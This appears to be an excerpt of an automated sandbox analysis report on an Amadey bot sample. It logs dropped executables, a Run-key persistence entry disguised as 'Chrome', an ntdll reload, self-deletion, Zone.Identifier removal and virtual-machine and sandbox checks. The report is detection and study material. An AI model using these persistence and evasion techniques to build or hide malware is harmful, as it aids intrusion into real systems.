Source: CD0D.exe.4.dr	Static PE information: section name: .cipizi
Source: 3D1.exe.4.dr	Static PE information: section name: .vito
Source: 9C1A.exe.4.dr	Static PE information: section name: .yuso
Source: 6EC5.exe.4.dr	Static PE information: section name: .lufulac
Source: ffjbuft.4.dr	Static PE information: section name: .daya
Source: irjbuft.4.dr	Static PE information: section name: .lufulac
Source: fijbuft.4.dr	Static PE information: section name: .cipizi

Source: B82B.exe.4.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66
Source: DF9C.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xdd7bb
Source: EA8A.exe.4.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c

Source: initial sample	Static PE information: section name: .text entropy: 6.99265157433
Source: initial sample	Static PE information: section name: .text entropy: 6.98189062284
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 7.67294154985
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.87137605191
Source: initial sample	Static PE information: section name: .text entropy: 7.83451647118
Source: initial sample	Static PE information: section name: .text entropy: 6.99265157433
Source: initial sample	Static PE information: section name: .text entropy: 6.98189062284
Source: initial sample	Static PE information: section name: .text entropy: 6.99265157433
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ffjbuft	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\irjbuft	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fijbuft	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	File created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3D1.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9C1A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B82B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F4BC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C1B2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\DF9C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fijbuft	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CD0D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ffjbuft	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EA8A.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\irjbuft	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	File created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6EC5.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

27_2_00401306

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\25kf6vsboq.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\irjbuft:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

27_2_00408E31

Source: C:\Windows\explorer.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: B82B.exe PID: 1936, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 25Kf6vSBoq.exe, 00000002.00000002.311871720.000000000044A000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: B82B.exe, 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLUSER

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
